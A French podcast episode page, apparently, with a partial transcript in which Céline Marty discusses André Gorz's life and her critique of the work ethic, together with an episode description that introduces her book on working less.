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#229 Travaillez moins pour travailler mieux: réenvisager la valeur travail avec Céline Marty

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#229 Travaillez moins pour travailler mieux: réenvisager la valeur travail avec Céline Marty
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GRÉGORY : Je vais commencer par un sujet qui n’a rien à voir avec la choucroute, mais en même temps, c’est un pot de casse, donc autant se faire plaisir. Je voulais te parler d’André Gorz. Tu fais ta thèse sur son travail, et en particulier, il a écrit un livre qui m’a beaucoup touché, qui s’appelle La Lettre A.D., qui est sans doute l’une des plus belle déclaration d’amour que j’ai pu lire. Est-ce que tu peux nous parler d’André Gorz ? 

CÉLINE : La lettre A.D., il l’a écrite en 2006 et c’est vrai que ça a été un petit succès de librairie à ce moment-là. D’autant plus que le couple s’est suicidé un an après, donc au moment de leur décès, le texte avait un peu été revenu dans la sphère médiatique. André Gorz, c’est un philosophe européen. On pourrait dire parce qu’il est né en 1923 en Autriche, dans une famille catholique qui est juive, et au moment de l’Anschluss, l’annexion de l’Autriche par Hitler, il est envoyé en Suisse pour faire des études d’ingénieur. En Suisse, il y rencontre une certaine communauté philosophique, intellectuelle. Il découvre l’existentialisme de Sartre, il lit Hegel, il dit qu’il regarde, il se détourne un peu de ses intérêts, et enfin de ses études d’ingénieur. Il va rencontrer Sartre et ensuite, en 49, il émigre à Paris et c’est à Lausanne qu’il a rencontré Doreen, qui était elle même anglaise. Ils vont vivre toute leur vie en France et Gorz était très proche de Sartre. Il a participé au temps moderne et très proche de ce qu’on a appelé ensuite la nouvelle gauche. Parce que tout l’enjeu, dans les années 1950, c’est de savoir comment on réactualise la critique sociale, la critique du capitalisme dans un contexte des années 1950 où il y a la guerre froide et où en même temps, on ne veut pas non plus imiter l’URSS. Donc, il y a un certain nombre d’intellectuels un peu partout en Europe, aux États-Unis aussi, etc, qui essaient de construire un modèle socialiste alternatif à l’URSS. Gorz participe à ce mouvement-là. Dans la revue “Les Temps modernes”, il discute avec Sartre, avec Merleau-Ponty et il participe à la fondation de la Nouvelle Gauche, qui va s’incarner ensuite plus tard dans la CFDT et le Parti socialiste qui était beaucoup plus révolutionnaire dans les années 1970 qu’aujourd’hui. Mais en tout cas, c’est un contexte intellectuel et politique très différent de ce qu’on connaît aujourd’hui. Aussi parce que le PC était très fort après la Seconde Guerre mondiale et en même temps, ça a beaucoup changé dans les années 1950 parce qu’il y a justement eu la stabilisation des partis communistes un peu partout en Europe. L’enjeu pour la gauche, c’est de savoir comment on critique les nouvelles formes du capitalisme dans les années 1950, à savoir une société de consommation, une société où le travail aliéné est vraiment présent, où c’est la diffusion des méthodes taylorisme, d’organisation du travail et temps le travail. Ce n’est pas uniquement les ouvriers dans les usines, ce sont aussi les employés. Il y a l’émergence de cette nouvelle classe sociale que sont les employés, les fonctionnaires aussi, avec des conditions de travail très différentes. Lui, son propos, c’est de réactualiser la critique marxiste dans ce contexte un peu différent du capitalisme industriel. Penser par Marx et ensuite, dès les années 1960, il critique déjà la production capitaliste en disant qu’il y a beaucoup de gaspillage, beaucoup de marchandises qui ne servent à rien à part nous faire consommer plus et en plus, et détruire, gâcher du travail humain et des ressources environnementales et naturelles pour le faire. À partir des années 1970, il développe de plus en plus cette critique écologique et il est considéré comme un des pères de l’écologie politique en France et de la décroissance aussi. C’est l’un des premiers à avoir dit qu’il fallait produire moins, travailler moins pour consommer moins, mais pour vivre mieux aussi. En transformant ce qu’on consommait, en améliorant leur qualité, on allait pouvoir réduire aussi le temps qu’on passait à les produire et gagner du temps pour faire autre chose que juste satisfaire nos besoins. Donc voilà pour le parcours. Il est mort en 2007. Il a vu aussi toutes les évolutions du capitalisme dans les années 1980. Le numérique, l’informatique, il y croyait beaucoup. Par exemple, les imprimantes 3D qui sont une façon de ne plus dépendre du marché pour satisfaire nos besoins. Si tu as une imprimante 3D à disposition, alors pas forcément chez toi, mais dans les locaux de ta ville. Ça va te permettre de bricoler certains trucs que tu n’aurais pas pu faire sans cet outil-là.

GRÉGORY : C’est aussi le créateur du Nouvel Obs, si je ne me trompe pas.

CÉLINE : Oui, il a été journaliste toute sa carrière et d’abord, il a travaillé chez L’Express qui avait été fondé pour soutenir Chaban-Delmas et à partir des années 1960. C’est en 1964 qu’il quitte L’Express avec d’autres journalistes et qu’il cofonde le Nouvel Obs.

GRÉGORY : Un des points que tu as abordés et dont les gens n’ont pas nécessairement conscience je crois, c’est que le capitalisme et l’individualisme sont en réalité des croyances. C’est bizarre qu’on parle beaucoup de la chute des croyances, en particulier parce qu’on pense aux croyances religieuses dogmatiques. Mais en fait, il y a une croyance hyper dogmatique qu’est le capitalisme, c’est la valeur du travail. Ce que tu t’es dit, c’était dans une démarche un peu socratique, c’est-à-dire de se poser des questions simples dire comme pourquoi on travaille comme ça ? 

CÉLINE : Alors tout système produit des croyances, des idées, des principes pour se maintenir. Tout système a toujours un principe idéologique qui va lui permettre de se maintenir dans le temps. Sans cette dimension de croyances, en sa dimension idéologique, les choses ne tiennent pas parce que nous, êtres humains, on est des êtres qui cherchons du sens dans les choses ou on cherche du sens à ce qu’on fait à nos vies, etc. On se raconte des récits, on a des croyances, on a des principes et chaque système idéologique, ou pratique, a besoin de nous apporter les réponses à ces grandes questions là. Ces réponses, elles étaient autrefois apportées par la mythologie, par la religion, et le capitalisme est venu transformer certains de ses principes idéologiques pour se maintenir aussi. Alors en effet, moi dans mes réflexions sur le travail, je me suis demandé pourquoi tout le monde valorisait ça. De la droite à la gauche. Je m’attendais à trouver plus cette critique à gauche, et on trouve quand même dans les mouvements de gauche traditionnels, les mouvements ouvriers, les mouvements syndicaux, une défense du bon travail, une défense du travail dans de bonnes conditions, mais avec même l’impression que le travail, quel qu’il soit, est important, qu’il y aurait unanimement une critique et une condamnation morale de l’oisiveté, qu’il faudrait toujours faire quelque chose plutôt que de ne rien faire. L’analyse que j’ai apportée à ça et la réponse un peu plus radicale à ce statuquo où tout le monde valorise le travail, c’est une critique qu’on trouve plutôt du côté des anarchistes et donc une critique anarchiste du travail qui consiste à dire que le travail, c’est une activité qu’on produit dans des rapports sociaux, avec des rapports de force, dans des rapports de domination, et que critiquer le fait de passer sa vie au travail, c’est aussi critiquer les rapports de domination que construit l’activité de travail. Ça, ça se justifie aussi historiquement. On le trouve dans quelques intuitions, dans l’histoire des idées, on trouve chez Nietzsche qui dit que le travail, c’est la meilleure des polices, on le trouve un peu chez Russell aussi qui a été un des grands critiques du travail au 20ᵉ siècle. Aujourd’hui, on le trouve aussi chez Graeber, qui critique aussi les bullshitjobs en ce sens là, en disant que le but des bullshitjob, c’est de nous occuper toute la journée à faire des trucs inutiles plutôt que de nous laisser du temps pour réfléchir et potentiellement faire la révolution ou à minima pour faire autre chose que du travail. Cette critique, elle m’intéresse beaucoup et c’est ce que j’ai fait, notamment dans le chapitre 4 de mon livre, où j’essaie de montrer que historiquement, le travail était cette activité rémunérée, déclarée, ou d’ailleurs pas toujours rémunérée, mais en tout cas  une activité à laquelle on contraint les individus pour leur faire produire des trucs, est au cœur de rapports de forces centraux. 

La suite à écouter sur Vlan !

Description de l’épisode

Céline Marty est autrice, professeur de philosophie et doctorante en philosophie et elle s’intéresse plus particulièrement à l’oeuvre d’André Gorz que vous connaissez peut être.
Parce que c’est la rentrée, avec Céline nous parlons de son ouvrage: travaillez moins pour vivre mieux!

Je pense que c’est le moment parfait d’écouter ce type d’épisode tant vous avez encore sans doute pour la plupart encore vos marques de maillot et de lunettes de soleil et une envie farouche de reprendre le travail mêlée à des questionnement sur votre mode de vie et votre temps de travail.
Céline questionnent profondément notre rapport au travail dans notre société et d’ailleurs, il est intéressant de noter qu’il y a suffisamment de richesses en France pour réduire de manière drastique le travail, simplement cette richesse n’est pas bien partagé.
Mais évidemment nous avons aussi tous bien ancré dans nos valeurs que le travail est une activité saine moralement, physiquement et intellectuellement.
C’est un service rendu à la communauté.
Je ne suis pas bien différent de vous en sens mais nous avons poussé cette logique très loin et l’oisiveté a perdu totalement son sens alors qu’en réalité, elle est aussi très importante comme nous le signifie Céline.

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Transcription partielle de l’épisode

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GRÉGORY : Je vais commencer par un sujet qui n’a rien à voir avec la choucroute, mais en même temps, c’est un pot de casse, donc autant se faire plaisir. Je voulais te parler d’André Gorz. Tu fais ta thèse sur son travail, et en particulier, il a écrit un livre qui m’a beaucoup touché, qui s’appelle La Lettre A.D., qui est sans doute l’une des plus belle déclaration d’amour que j’ai pu lire. Est-ce que tu peux nous parler d’André Gorz ? 

CÉLINE : La lettre A.D., il l’a écrite en 2006 et c’est vrai que ça a été un petit succès de librairie à ce moment-là. D’autant plus que le couple s’est suicidé un an après, donc au moment de leur décès, le texte avait un peu été revenu dans la sphère médiatique. André Gorz, c’est un philosophe européen. On pourrait dire parce qu’il est né en 1923 en Autriche, dans une famille catholique qui est juive, et au moment de l’Anschluss, l’annexion de l’Autriche par Hitler, il est envoyé en Suisse pour faire des études d’ingénieur. En Suisse, il y rencontre une certaine communauté philosophique, intellectuelle. Il découvre l’existentialisme de Sartre, il lit Hegel, il dit qu’il regarde, il se détourne un peu de ses intérêts, et enfin de ses études d’ingénieur. Il va rencontrer Sartre et ensuite, en 49, il émigre à Paris et c’est à Lausanne qu’il a rencontré Doreen, qui était elle même anglaise. Ils vont vivre toute leur vie en France et Gorz était très proche de Sartre. Il a participé au temps moderne et très proche de ce qu’on a appelé ensuite la nouvelle gauche. Parce que tout l’enjeu, dans les années 1950, c’est de savoir comment on réactualise la critique sociale, la critique du capitalisme dans un contexte des années 1950 où il y a la guerre froide et où en même temps, on ne veut pas non plus imiter l’URSS. Donc, il y a un certain nombre d’intellectuels un peu partout en Europe, aux États-Unis aussi, etc, qui essaient de construire un modèle socialiste alternatif à l’URSS. Gorz participe à ce mouvement-là. Dans la revue “Les Temps modernes”, il discute avec Sartre, avec Merleau-Ponty et il participe à la fondation de la Nouvelle Gauche, qui va s’incarner ensuite plus tard dans la CFDT et le Parti socialiste qui était beaucoup plus révolutionnaire dans les années 1970 qu’aujourd’hui. Mais en tout cas, c’est un contexte intellectuel et politique très différent de ce qu’on connaît aujourd’hui. Aussi parce que le PC était très fort après la Seconde Guerre mondiale et en même temps, ça a beaucoup changé dans les années 1950 parce qu’il y a justement eu la stabilisation des partis communistes un peu partout en Europe. L’enjeu pour la gauche, c’est de savoir comment on critique les nouvelles formes du capitalisme dans les années 1950, à savoir une société de consommation, une société où le travail aliéné est vraiment présent, où c’est la diffusion des méthodes taylorisme, d’organisation du travail et temps le travail. Ce n’est pas uniquement les ouvriers dans les usines, ce sont aussi les employés. Il y a l’émergence de cette nouvelle classe sociale que sont les employés, les fonctionnaires aussi, avec des conditions de travail très différentes. Lui, son propos, c’est de réactualiser la critique marxiste dans ce contexte un peu différent du capitalisme industriel. Penser par Marx et ensuite, dès les années 1960, il critique déjà la production capitaliste en disant qu’il y a beaucoup de gaspillage, beaucoup de marchandises qui ne servent à rien à part nous faire consommer plus et en plus, et détruire, gâcher du travail humain et des ressources environnementales et naturelles pour le faire. À partir des années 1970, il développe de plus en plus cette critique écologique et il est considéré comme un des pères de l’écologie politique en France et de la décroissance aussi. C’est l’un des premiers à avoir dit qu’il fallait produire moins, travailler moins pour consommer moins, mais pour vivre mieux aussi. En transformant ce qu’on consommait, en améliorant leur qualité, on allait pouvoir réduire aussi le temps qu’on passait à les produire et gagner du temps pour faire autre chose que juste satisfaire nos besoins. Donc voilà pour le parcours. Il est mort en 2007. Il a vu aussi toutes les évolutions du capitalisme dans les années 1980. Le numérique, l’informatique, il y croyait beaucoup. Par exemple, les imprimantes 3D qui sont une façon de ne plus dépendre du marché pour satisfaire nos besoins. Si tu as une imprimante 3D à disposition, alors pas forcément chez toi, mais dans les locaux de ta ville. Ça va te permettre de bricoler certains trucs que tu n’aurais pas pu faire sans cet outil-là.

GRÉGORY : C’est aussi le créateur du Nouvel Obs, si je ne me trompe pas.

CÉLINE : Oui, il a été journaliste toute sa carrière et d’abord, il a travaillé chez L’Express qui avait été fondé pour soutenir Chaban-Delmas et à partir des années 1960. C’est en 1964 qu’il quitte L’Express avec d’autres journalistes et qu’il cofonde le Nouvel Obs.

GRÉGORY : Un des points que tu as abordés et dont les gens n’ont pas nécessairement conscience je crois, c’est que le capitalisme et l’individualisme sont en réalité des croyances. C’est bizarre qu’on parle beaucoup de la chute des croyances, en particulier parce qu’on pense aux croyances religieuses dogmatiques. Mais en fait, il y a une croyance hyper dogmatique qu’est le capitalisme, c’est la valeur du travail. Ce que tu t’es dit, c’était dans une démarche un peu socratique, c’est-à-dire de se poser des questions simples dire comme pourquoi on travaille comme ça ? 

CÉLINE : Alors tout système produit des croyances, des idées, des principes pour se maintenir. Tout système a toujours un principe idéologique qui va lui permettre de se maintenir dans le temps. Sans cette dimension de croyances, en sa dimension idéologique, les choses ne tiennent pas parce que nous, êtres humains, on est des êtres qui cherchons du sens dans les choses ou on cherche du sens à ce qu’on fait à nos vies, etc. On se raconte des récits, on a des croyances, on a des principes et chaque système idéologique, ou pratique, a besoin de nous apporter les réponses à ces grandes questions là. Ces réponses, elles étaient autrefois apportées par la mythologie, par la religion, et le capitalisme est venu transformer certains de ses principes idéologiques pour se maintenir aussi. Alors en effet, moi dans mes réflexions sur le travail, je me suis demandé pourquoi tout le monde valorisait ça. De la droite à la gauche. Je m’attendais à trouver plus cette critique à gauche, et on trouve quand même dans les mouvements de gauche traditionnels, les mouvements ouvriers, les mouvements syndicaux, une défense du bon travail, une défense du travail dans de bonnes conditions, mais avec même l’impression que le travail, quel qu’il soit, est important, qu’il y aurait unanimement une critique et une condamnation morale de l’oisiveté, qu’il faudrait toujours faire quelque chose plutôt que de ne rien faire. L’analyse que j’ai apportée à ça et la réponse un peu plus radicale à ce statuquo où tout le monde valorise le travail, c’est une critique qu’on trouve plutôt du côté des anarchistes et donc une critique anarchiste du travail qui consiste à dire que le travail, c’est une activité qu’on produit dans des rapports sociaux, avec des rapports de force, dans des rapports de domination, et que critiquer le fait de passer sa vie au travail, c’est aussi critiquer les rapports de domination que construit l’activité de travail. Ça, ça se justifie aussi historiquement. On le trouve dans quelques intuitions, dans l’histoire des idées, on trouve chez Nietzsche qui dit que le travail, c’est la meilleure des polices, on le trouve un peu chez Russell aussi qui a été un des grands critiques du travail au 20ᵉ siècle. Aujourd’hui, on le trouve aussi chez Graeber, qui critique aussi les bullshitjobs en ce sens là, en disant que le but des bullshitjob, c’est de nous occuper toute la journée à faire des trucs inutiles plutôt que de nous laisser du temps pour réfléchir et potentiellement faire la révolution ou à minima pour faire autre chose que du travail. Cette critique, elle m’intéresse beaucoup et c’est ce que j’ai fait, notamment dans le chapitre 4 de mon livre, où j’essaie de montrer que historiquement, le travail était cette activité rémunérée, déclarée, ou d’ailleurs pas toujours rémunérée, mais en tout cas  une activité à laquelle on contraint les individus pour leur faire produire des trucs, est au cœur de rapports de forces centraux. 

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